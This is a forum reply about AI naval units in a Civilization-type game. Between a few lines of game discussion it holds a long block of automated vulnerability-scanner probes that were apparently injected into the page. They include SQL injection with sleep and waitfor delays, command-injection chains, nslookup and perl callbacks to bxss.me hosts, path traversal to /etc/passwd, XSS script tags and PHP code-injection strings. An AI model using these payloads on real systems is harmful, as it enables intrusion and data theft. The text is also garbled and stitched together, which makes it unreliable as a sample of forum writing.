Reply To ihnatus
In commercial CivII, btw, AI units cheat being all "marines", but I think it should not be our way.
Not sure if that's in the hands of the ruleset in later branches, with action enablers.
response.write(9742765*9293668)
"+response.write(9742765*9293668)+"
'+response.write(9742765*9293668)+'
echo dghnft$()\ exbfsq\nzxyu||a #' &echo dghnft$()\ exbfsq\nzxyu||a #|" &echo dghnft$()\ exbfsq\nzxyu||a #
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/passwd
(nslookup hitmwachhixbo4aea8.bxss.me||perl -e "gethostbyname('hitmwachhixbo4aea8.bxss.me')")
../e
&echo aoebfr$()\ zxhwpf\nzxyu||a #' &echo aoebfr$()\ zxhwpf\nzxyu||a #|" &echo aoebfr$()\ zxhwpf\nzxyu||a #
|echo nuiure$()\ bqruba\nzxyu||a #' |echo nuiure$()\ bqruba\nzxyu||a #|" |echo nuiure$()\ bqruba\nzxyu||a #
$(nslookup hitovkdpyztfud001d.bxss.me||perl -e "gethostbyname('hitovkdpyztfud001d.bxss.me')")
&(nslookup hitaernxmayup696e7.bxss.me||perl -e "gethostbyname('hitaernxmayup696e7.bxss.me')")&'\"0&(nslookup hitaernxmayup696e7.bxss.me||perl -e "gethostbyname('hitaernxmayup696e7.bxss.me')")&'
12345'"\'\");|]*
|(nslookup hitbxipmbyeuh01ef8.bxss.me||perl -e "gethostbyname('hitbxipmbyeuh01ef8.bxss.me')")
(nslookup hitlkmlkcdcpzd096c.bxss.me||perl -e "gethostbyname('hitlkmlkcdcpzd096c.bxss.me')")
;(nslookup hitybrrsatgan96784.bxss.me||perl -e "gethostbyname('hitybrrsatgan96784.bxss.me')")|(nslookup hitybrrsatgan96784.bxss.me||perl -e "gethostbyname('hitybrrsatgan96784.bxss.me')")&(nslookup hitybrrsatgan96784.bxss.me||perl -e "gethostbyname('hitybrrsatgan96784.bxss.me')")
e
e<esi:include src="http://bxss.me/rpb.png"/>
${10000194+9999888}
1some_inexistent_file_with_long_name
(#$!@#$)(()))******
".gethostbyname(lc("hitpv"."exykqjgs6da17.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(79).chr(99).chr(77)."
'.gethostbyname(lc('hitiy'.'njgisgdyb081e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(89).chr(109).chr(74).'
e
HttP://bxss.me/t/xss.html?%00
e
"+"A".concat(70-3).concat(22*4).concat(114).concat(84).concat(104).concat(79)+(require"socket" Socket.gethostbyname("hithw"+"jcfsknshf5838.bxss.me.")3.to_s)+"
e
e
bxss.me/t/xss.html?%00
e
e
';print(md5(31337));$a='
'+'A'.concat(70-3).concat(22*4).concat(119).concat(89).concat(97).concat(83)+(require'socket' Socket.gethostbyname('hitqx'+'dyjrzitj31b07.bxss.me.')3.to_s)+'
e
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
/xfs.bxss.me
${@print(md5(31337))}\
e
e
${@print(md5(31337))}
e
";print(md5(31337));$a="
e
ticket_edit_submit.php/.
ticket_edit_submit.php
ticket_edit_submit.php
e
'.print(md5(31337)).'
<!--
'"
e
'"()&%<acx><ScRiPt >Jb92(9411)</ScRiPt>
e
e
e'"()&%<acx><ScRiPt >Jb92(9355)</ScRiPt>
e9656199
e
e
e
e
e
e
e
e
e'"()&%<acx><ScRiPt >LJoN(9611)</ScRiPt>
e
e9934287
'"()&%<acx><ScRiPt >LJoN(9225)</ScRiPt>
e
e
e
e
e
e
e
e
KnDgLyEK
-1' OR 2+874-874-1=0+0+0+1 --
-1 OR 2+724-724-1=0+0+0+1
-1 OR 2+91-91-1=0+0+0+1 --
-1" OR 2+267-267-1=0+0+0+1 --
-1' OR 2+224-224-1=0+0+0+1 or 'iagmrfdz'='
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 waitfor delay '0:0:15' --
BdgxF2nk'; waitfor delay '0:0:15' --
DIpkCmZ5' OR 716=(SELECT 716 FROM PG_SLEEP(15))--
sl0DYGKv') OR 695=(SELECT 695 FROM PG_SLEEP(15))--
g26wiXBO')) OR 190=(SELECT 190 FROM PG_SLEEP(15))--
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@WYh2J
e
e
e
e
e
e
e
e
e
e
e
e
AI military units on ships try to strike the city as soon as the ship has approached even when they have no ability to do it. Probably, they lose a turn in process when they could land, and I doubt only one.
In commercial CivII, btw, AI units cheat being all "marines", but I think it should not be our way.